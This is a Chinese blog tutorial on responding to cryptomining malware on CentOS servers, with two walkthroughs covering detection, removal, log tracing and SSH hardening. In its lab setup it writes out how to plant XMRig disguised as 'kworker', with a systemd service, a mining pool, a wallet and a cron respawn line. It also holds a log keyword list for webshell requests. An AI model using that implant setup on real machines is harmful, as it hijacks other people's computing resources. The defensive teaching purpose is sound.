应急响应之挖矿木马实战演练教程:网安人必掌握的基础操作,你真的会吗?

今天给大家分享一下应急响应之挖矿木马实战演练教程。

喜欢的朋友们,记得给我点赞支持和收藏一下,完整网络安全应急响应学习资料,请看文末扫描免费获取。

什么是挖矿木马

挖矿木马是一种恶意软件,它在未经用户许可的情况下,利用用户的计算资源来挖掘加密货币,从而为攻击者带来非法收益。这类软件通常通过多种手段传播,例如利用系统漏洞、弱密码爆破、伪装正常软件等方法感染目标设备。


挖矿木马的危害:

▶ 影响计算机性能:挖矿木马会占用大量的CPU资源,导致电脑运行缓慢,甚至出现卡顿现象 。

▶ 浪费资源:挖矿过程中会消耗大量的电力,加快硬件老化速度 。

▶ 安全风险:挖矿木马可能会使用户的计算机成为黑客的控制对象,从而窃取个人信息和金融数据,造成财产损失。

实战案例一

去年夏天的一个深夜,我手机突然弹出服务器监控告警:“CentOS 服务器 CPU 使用率持续 95% 以上,已超过阈值”。作为公司的安全应急响应工程师,我第一反应是 “大概率中了挖矿木马”—— 毕竟这类木马最典型的特征就是 “吞噬 CPU 资源,静默挖矿”。

登录服务器后,top 命令的输出果然印证了我的判断:一个名叫 “kworker” 的进程(后来发现是伪装名)霸占了 98% 的 CPU,进程 ID 恒定不变,手动 kill 后不到 10 秒又自动重启。那天我花了 3 小时,从 “定位木马” 到 “清除残留” 再到 “溯源攻击入口”,完整走了一遍应急响应流程,也摸清了这类木马的常见套路。

后来在团队培训时,我发现不少刚入行的网安同事,面对挖矿木马时要么 “只会 kill 进程,越杀越多”,要么 “找不到持久化后门,清理后复发”。其实挖矿木马应急是网安人的基础技能,核心在于 “按流程拆解,抓准关键节点”。这篇文章,我会以实战演练的形式,带大家从 0 到 1 掌握挖矿木马应急响应,所有操作均在模拟环境中进行,可放心复现。

一、演练环境搭建:模拟真实挖矿木马感染场景

在开始应急前,我们先搭建一个和真实环境一致的演练平台,避免直接在生产环境操作导致风险。

1. 基础环境准备
环境类型配置详情用途
服务器系统CentOS 7.9(最小化安装)模拟被感染的生产服务器,关闭防火墙和 SELinux(模拟部分企业的宽松配置)
挖矿木马样本XMRig 6.14.1(开源门罗币挖矿程序,无恶意破坏代码)模拟真实挖矿木马,添加持久化脚本使其具备 “杀不死” 特性
监控工具Nagios Core 4.4.11模拟生产环境的 CPU 告警,触发应急响应流程
分析工具ps、top、netstat、find、grep、chkconfig应急响应中常用的系统命令工具,无需额外安装
2. 植入挖矿木马(模拟攻击过程)

为了还原真实感染场景,我们通过 “伪装成系统服务 + 定时任务持久化” 的方式植入木马,步骤如下:

  1. 上传木马程序:

    将 XMRig 挖矿程序(重命名为 “kworker”,伪装成 Linux 系统进程)上传到服务器

    /usr/bin/
    

    目录,赋予执行权限:

    chmod +x /usr/bin/kworker
    
  2. 添加系统服务持久化:

    /etc/systemd/system/
    

    目录下创建

    kworker.service
    

    文件,内容如下(让木马随系统启动):

    [Unit]
    Description=System Kworker Service(伪装成系统服务)
    After=network.target
    
    [Service]
    Type=simple
    ExecStart=/usr/bin/kworker -o pool.minexmr.com:443 -u 45h8jZkLxYj9wqf12s7aD3fG5hJ7kL9mN0pQ1rT2sU3vW4xY5z -p x(挖矿池地址和钱包地址)
    Restart=always(进程被杀死后自动重启)
    
    [Unit]
    WantedBy=multi-user.target
    
  3. 添加定时任务持久化:

    通过 crontab 添加定时任务,每 5 分钟检查一次木马进程,不存在则重启:

    crontab -e
    # 添加以下内容
    */5 * * * * pgrep -f kworker || /usr/bin/kworker &
    
  4. 启动木马:

    执行命令启动服务并刷新定时任务,模拟木马 “静默运行”:

    systemctl daemon-reload
    systemctl start kworker
    systemctl enable kworker(设置开机自启)
    

此时监控工具会触发 CPU 告警,我们的应急响应流程正式开始。

二、应急响应全流程:从 “告警触发” 到 “彻底清除”(附实操命令)

挖矿木马应急响应的核心逻辑是 “先止血(降低影响),再溯源(找到入口),最后加固(防止复发)”,具体分为 6 个步骤,每个步骤都有明确的操作目标和命令。

步骤 1:发现与初步判断 —— 确认是否为挖矿木马

接到 CPU 告警后,第一步要快速判断 “高 CPU 占用是否由挖矿木马引起”,避免误判为 “正常业务峰值”。

实操命令与分析:
  1. 查看 CPU 占用 TOP 进程

    top -b -n 1(-b表示批量模式,-n 1表示只输出1次结果,便于查看)
    
    • 关键观察点:是否有 “无名进程”“伪装成系统进程的程序”(如本文中的 “kworker”,真实系统进程的 kworker 通常带有编号,如 kworker/0:0),且 CPU 占用率持续 90% 以上。

    • 示例输出:

      PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
      1234 root      20   0  100000  50000  10000 R  98.5  2.5  10:30.12 kworker
      
  2. 查看进程对应的可执行文件路径

    ls -l /proc/1234/exe(1234为木马进程PID,exe是进程对应的可执行文件软链接)
    
    • 关键观察点:正常系统进程的 exe 路径通常在/usr/sbin//bin/下,若路径异常(如/tmp//var/tmp/或未知目录),大概率是木马。
    • 示例输出:lrwxrwxrwx 1 root root 0 8月 10 02:30 /proc/1234/exe -> /usr/bin/kworker(虽在 /usr/bin 下,但文件名伪装,需进一步验证)
  3. 检查进程网络连接(判断是否连接挖矿池)

    netstat -antp | grep 1234(-a显示所有连接,-n显示IP和端口,-t显示TCP连接,-p显示进程PID和名称)
    
    • 关键观察点:是否有连接到境外 IP(尤其是挖矿池常用的 IP 段,如门罗币池多为 172.xx.xx.xx、45.xx.xx.xx),且端口多为 443、8080 或自定义端口。
    • 示例输出:tcp 0 0 192.168.1.100:56789 45.123.45.67:443 ESTABLISHED 1234/kworker(45.123.45.67 为模拟挖矿池 IP)

通过以上 3 步,可 100% 确认:该进程为挖矿木马,需立即处置。

步骤 2:紧急处置 —— 先 “暂停挖矿”,降低业务影响

确认是挖矿木马后,第一步要 “快速停止挖矿进程”,避免 CPU 持续高占用影响业务。但需注意:直接 kill 进程会触发持久化机制(如我们之前设置的 systemd 重启和 crontab 定时任务),所以要先 “断持久化”,再 “杀进程”。

实操命令与分析:
  1. 停止并禁用系统服务持久化

    systemctl stop kworker(停止当前服务)
    systemctl disable kworker(禁止开机自启)
    rm -f /etc/systemd/system/kworker.service(删除服务配置文件)
    systemctl daemon-reload(刷新systemd配置)
    
    • 关键说明:若木马未通过 systemd 持久化,可能通过/etc/rc.d/rc.local文件(需检查该文件是否有启动木马的命令,若有则注释掉)。
  2. 清除定时任务持久化

    crontab -l > crontab_bak(先备份当前定时任务,避免误删正常任务)
    crontab -e(编辑定时任务,删除与木马相关的一行:*/5 * * * * pgrep -f kworker || /usr/bin/kworker &
    • 补充检查:除了当前用户的 crontab,还要检查系统级定时任务目录/etc/cron.d//etc/cron.hourly/,避免遗漏隐藏的定时任务(如/etc/cron.d/miner)。
  3. 杀死木马进程(此时 kill 后不会重启)

    kill -9 1234(-9表示强制杀死进程,避免进程捕获信号后自我保护)
    pgrep -f kworker(验证进程是否已被杀死,无输出则成功)
    

此时再用 top 命令查看,CPU 使用率会快速下降到正常水平(通常 5% 以下),紧急处置完成。

步骤 3:木马定位与全量排查 —— 找出所有关联文件

杀死进程只是 “治标”,必须找到木马的所有关联文件(如配置文件、日志、后门脚本)并删除,否则残留文件可能导致木马复发。

实操命令与分析:
  1. 根据木马文件名查找所有关联文件

    find / -name "kworker*" 2>/dev/null(/表示全目录搜索,2>/dev/null屏蔽权限不足的报错,避免干扰结果)
    
    • 常见隐藏路径:/tmp//var/tmp//usr/local/bin//root/.ssh/(部分木马会在.ssh 目录留下后门密钥)。

    • 示例输出:

      /usr/bin/kworker(木马主程序)
      /var/tmp/kworker.conf(木马配置文件,包含挖矿池地址)
      /root/.kworker.log(木马运行日志)
      
  2. 检查异常用户(是否有攻击者创建的隐藏账号)

    cat /etc/passwd | grep -v nologin(过滤掉无法登录的系统账号,查看是否有陌生账号)
    cat /etc/shadow | grep -v "!"(查看是否有可登录的陌生账号,若有则立即锁定:passwd -l 陌生账号名)
    
    • 关键说明:部分挖矿木马上传者会创建隐藏账号(如 “miner”“root123”),用于后续重新控制服务器,必须检查。
  3. 检查开机启动项(除了 systemd 和 crontab,是否有其他持久化方式)

    chkconfig --list(查看系统服务开机启动状态,是否有陌生服务)
    ls -l /etc/rc.d/rc3.d/(查看3级别运行模式下的启动项,若有陌生服务则删除)
    
  4. 删除所有关联文件

    rm -f /usr/bin/kworker /var/tmp/kworker.conf /root/.kworker.log(删除找到的所有木马文件,-f避免确认提示)
    
步骤 4:溯源分析 —— 找到木马是如何进来的

清除木马后,必须 “找到攻击入口”,否则攻击者可能通过同样的方式再次植入木马。挖矿木马的常见入侵路径有 3 种:SSH 弱口令、Web 漏洞(如文件上传、命令注入)、服务器未打补丁的漏洞(如 Log4j、Struts2)。

实操命令与分析:
  1. 排查 SSH 登录日志(判断是否为弱口令入侵)

    cat /var/log/secure | grep "Accepted password" | grep -v "192.168.1.1"(192.168.1.1为管理员常用IP,过滤掉正常登录)
    
    • 关键观察点:是否有陌生 IP(尤其是境外 IP)的成功登录记录,若有则说明 SSH 弱口令被破解。
    • 示例输出:Aug 10 01:23:45 localhost sshd[6789]: Accepted password for root from 123.45.67.89 port 12345 ssh2(123.45.67.89 为陌生 IP,确认是攻击源)
  2. 排查 Web 日志(若服务器运行 Web 服务,判断是否为 Web 漏洞入侵)

    # 以Nginx为例,日志路径通常为/var/log/nginx/access.log
    cat /var/log/nginx/access.log | grep -E "shell|upload|cmd|exec"(搜索包含webshell、文件上传、命令执行关键词的请求)
    
    • 关键观察点:是否有 “POST /upload.php?file=webshell.php”“GET /cmd?exec=whoami” 这类异常请求,若有则说明存在 Web 漏洞。
  3. 排查系统补丁(判断是否为未打补丁的漏洞入侵)

    # 查看已安装的补丁(CentOS系统)
    yum list installed | grep "log4j"(检查Log4j漏洞补丁)
    yum list installed | grep "struts2"(检查Struts2漏洞补丁)
    
    • 若未安装对应补丁,且服务器开放了相关服务端口(如 8080),则大概率是通过该漏洞入侵。

本次演练中,我们通过 SSH 弱口令(root 账号密码为 123456)植入木马,因此溯源结果为 “SSH 弱口令导致攻击者登录服务器,植入挖矿木马并配置持久化”。

步骤 5:彻底清除验证 —— 确保无残留

清除并溯源后,需要验证 “木马是否彻底清除,无复发可能”,验证步骤如下:

  1. 重启服务器(触发所有开机启动项,检验是否有残留):

    reboot
    
  2. 重启后检查进程:

    top -b -n 1 | grep -E "kworker|xmrig"(检查是否有木马进程)
    pgrep -f kworker(无输出则说明无进程残留)
    
  3. 检查持久化配置:

    systemctl list-units | grep kworker(无输出则说明服务已清除)
    crontab -l | grep kworker(无输出则说明定时任务已清除)
    find / -name "kworker*" 2>/dev/null(无输出则说明文件已清除)
    
  4. 检查网络连接:

    netstat -antp | grep -E "443|8080"(检查是否有连接到挖矿池的异常连接)
    

若以上检查均无异常,说明木马已彻底清除。

步骤 6:加固防范 —— 避免再次被入侵

应急响应的最终目标是 “防止类似事件再次发生”,针对本次 SSH 弱口令入侵 + 挖矿木马,加固措施如下:

  1. 修改 SSH 登录配置(杜绝弱口令和暴力破解):

    vi /etc/ssh/sshd_config
    # 修改以下配置
    PermitRootLogin no(禁止root账号直接登录)
    PasswordAuthentication no(禁用密码登录,改用SSH密钥登录)
    Port 2222(修改SSH默认端口22为2222,降低被扫描概率)
    # 重启SSH服务
    systemctl restart sshd
    
  2. 安装并配置入侵检测工具(如 fail2ban,防止暴力破解):

    yum install -y fail2ban
    systemctl start fail2ban
    systemctl enable fail2ban
    # 配置SSH暴力破解防护
    vi /etc/fail2ban/jail.d/ssh.conf
    [ssh-iptables]
    enabled  = true
    filter   = sshd
    action   = iptables[name=SSH, port=ssh, protocol=tcp]
    logpath  = /var/log/secure
    maxretry = 3(3次失败登录后封禁IP,持续1小时)
    bantime  = 3600
    
  3. 定期更新系统补丁:

    yum update -y(CentOS系统,定期执行,修复已知漏洞)
    
  4. 部署服务器安全监控(实时告警异常进程):

    • 推荐工具:Nagios、Zabbix(监控 CPU、内存、网络连接)、ClamAV(Linux 杀毒软件,定期扫描恶意文件)。

三、关键技术点拆解:挖矿木马应急的 “避坑指南”

在多次实战中,我发现不少人会在 3 个关键节点 “踩坑”,导致木马清除不彻底或应急效率低下,这里专门拆解解决方案。

1. 坑 1:木马进程伪装成系统进程,无法识别

场景:木马进程名改为 “systemd”“sshd”“nginx”,top 命令中与正常进程混淆,无法区分。解决方案:通过 “进程路径 + MD5 校验” 双重验证:

# 1. 查看进程对应的可执行文件路径(正常systemd路径为/usr/lib/systemd/systemd)
ls -l /proc/进程PID/exe
# 2. 计算进程可执行文件的MD5值,与正常文件对比(正常文件MD5可从官方获取)
md5sum /usr/bin/可疑进程名
# 示例:若可疑进程为“sshd”,正常sshd的MD5为abc123,而木马sshd的MD5为def456,可确认是伪装

2. 坑 2:木马通过 “隐藏定时任务” 持久化,清除后复发

场景:定时任务不在crontab -l中显示,而是隐藏在/etc/cron.d/目录下的陌生文件(如/etc/cron.d/miner),清除 crontab 后仍会重启。解决方案:全目录搜索定时任务相关文件:

# 1. 搜索所有定时任务目录
find /etc/cron* -type f -mtime -7(-mtime -7表示查找7天内修改过的文件,大概率是木马添加的)
# 2. 查看可疑文件内容
cat /etc/cron.d/miner
# 3. 删除可疑文件并重启crond服务
rm -f /etc/cron.d/miner
systemctl restart crond

3. 坑 3:攻击者留下后门密钥,清除木马后仍能登录

场景:攻击者通过 SSH 登录后,在/root/.ssh/authorized_keys文件中添加自己的公钥,即使修改 root 密码,仍能通过密钥登录。解决方案:检查并清理 authorized_keys 文件:

# 1. 查看authorized_keys文件内容,是否有陌生公钥(正常公钥为管理员自己添加)
cat /root/.ssh/authorized_keys
# 2. 删除陌生公钥,保留自己的公钥
vi /root/.ssh/authorized_keys
# 3. 限制authorized_keys文件权限,防止被篡改
chmod 600 /root/.ssh/authorized_keys
chown root:root /root/.ssh/authorized_keys

全套《网络安全入门+进阶学习资源包》,请看下方扫描即可前往获取

挖矿木马实战案例二

(1)事件概述.

接到某司客户应急响应请求:客户服务器和多台终端PC中了挖矿木马.【主机一直卡,CPU一直跑满的】

了解现状了解发病时间了解系统结构了解网络结构
主机一直卡,CPU一直跑满05:51Linux 系统 系统.外网 / 内网
主机一直卡,CPU一直跑满06:30Linux 系统 系统.内网
主机一直卡,CPU一直跑满06:57Linux 系统 系统.内网

(2)确认攻击的范围.(有多少主机被攻击了)

到客户现场发现有服务器和多台终端PC中了挖矿木马.【主机一直卡,CPU一直满的】

主机名IP感染的情况传播手段
服务器192.168.1.106CPU一直跑满利用其他主机漏洞进行横向渗透.
终端PC1192.168.1.109CPU一直跑满利用其他主机漏洞进行横向渗透.
终端PC1192.168.1.120CPU一直跑满利用其他主机漏洞进行横向渗透.

消除木马:

(1)查看 CPU 的运行情况,是否存在挖矿木马.

top                # 查看 CPU 的运行情况.  

(2)查看这个 挖矿木马的 文件路径在哪.(记下时间,等下查看日志有用)

find / -name xmrig        # 文件名在 CPU 运行满的最后面.  
  
find / -name 文件名  

(3)进行 挖矿木马 分析.(使用 威胁情报 进行分析.)

上传 样本 进行分析,也可以根据里面的 域名 或者 IP地址 进行分析.

https://x.threatbook.com/                # 微步在线  
   
https://www.virustotal.com/gui/          # VirusTotal(上传文件,检查木马)  
   
https://ti.360.net/#/homepage            # 360威胁平台  
   
https://ti.nsfocus.com/                  # 绿盟威胁情报平台  
   
https://ti.dbappsecurity.com.cn/         # 安恒威胁情报平台  

怎么 分析IP 地址呢!(可以查看网络连接找到IP地址的.)

其他所以排查方法:

(4)尝试关闭挖矿木马的进程.(一般都会再次运行起来.)

kill 5157            # 关闭这个进程.  
  
kill 进程数  

(5)进行删除 挖矿木马 程序.(上面已经查找出文件的位置了)

(6)排查 定时任务.

定时定点执行Linux程序或脚本.

crontab -e            # 用来创建定时任务.  
  
crontab -l            # 查看有多少个任务.  


定时保存的路径有以下几个.

vi /var/spool/cron/        # 目录里的任务以用户命名.  

vi /etc/crontab             # 调度管理维护任务.(排查里面有没有新的添加)  

vi /etc/cron.d/    # 这个目录用来存放任何要执行的crontab文件或脚本  
  
(排查有没有新的添加文件 再和运维核对 进行排查)  

vi /etc/cron.hourly            # 每小时执行一次  
  
vi /etc/cron.daily             # 每天执行一次  
  
vi /etc/cron.weekly            # 每周执行一次  
  
vi /etc/cron.monthly           # 每月执行一次  

(7)如果还有,可以排查开机启动项.

其他所以排查方法:应急响应:Linux 入侵排查思路.


日志分析:(随便排查出系统存在的其他隐患)

先 Web 的日志(看看是不是上传了木马),系统的日志.(看看是不是被爆破了)

(1)排查 是否存在后门.(Web网站)

使用河马的扫描工具(扫描后门木马)

chmod +x hm        # 添加权限  
./hm scan /var/www/html  
  
./hm scan 指定的扫描路径.  

(2)根据 后门木马信息 和利用 挖矿木马 的时间,找到上传挖矿木马的后门.

(3)排查完进行删除所以木马文件.

日志存在:

(1)确定攻击时间.

就是后门的上传时间,在日志中找这个后门木马的文件名.(比如上面的:.bgxg.php)

(2)确定攻击特征.

文件上传.

(3)确定特征文件.

就是后门木马文件.

(4)确定攻击者IP

(5)攻击复现.

在日志中 找到木马的路径,进行测试就行.


日志不存在:

(1)黑盒测试.(对 Web 网站进行渗透测试.)

(2)查看系统服务是否存在弱口令(Redis,ssh等)


漏洞修复:

(1)对黑客的入侵点进行修复,如果渗透测试的结果还有别的安全隐患,也进行修复.

(2)部署Web安全设备(IPS),杀毒软件,流量监控设备.

(3)定期给主机打补丁.

总结:挖矿木马应急是网安人的 “基本功”,没有理由不会

回顾整个实战演练流程,挖矿木马应急响应的核心并不复杂:“按流程拆解,抓准‘进程 - 持久化 - 溯源’三个关键节点,用系统命令工具就能完成 80% 的操作”。但为什么还有很多网安人 “不会”?本质是 “缺乏实战演练”—— 平时只学理论,遇到真实告警时手忙脚乱,找不到关键文件。

作为网安人,我们必须清楚:挖矿木马是企业服务器最常见的安全事件之一,也是应急响应的 “入门题”。掌握它,不仅能应对日常告警,更能培养 “从现象到本质” 的分析思维 —— 比如从 “CPU 高占用” 联想到 “挖矿木马”,从 “木马持久化” 联想到 “系统服务、定时任务”,这些思维在应对更复杂的应急事件(如勒索病毒、APT 攻击)时同样适用。

最后,建议大家按本文的演练环境,亲手操作一遍 “植入 - 应急 - 清除” 的全流程 —— 只有动手做过,才能在真实告警发生时,做到 “5 分钟判断,30 分钟清除,2 小时溯源”,真正成为合格的应急响应工程师。

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,请看下方扫描即可前往获取

在这里插入图片描述
在这里插入图片描述

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值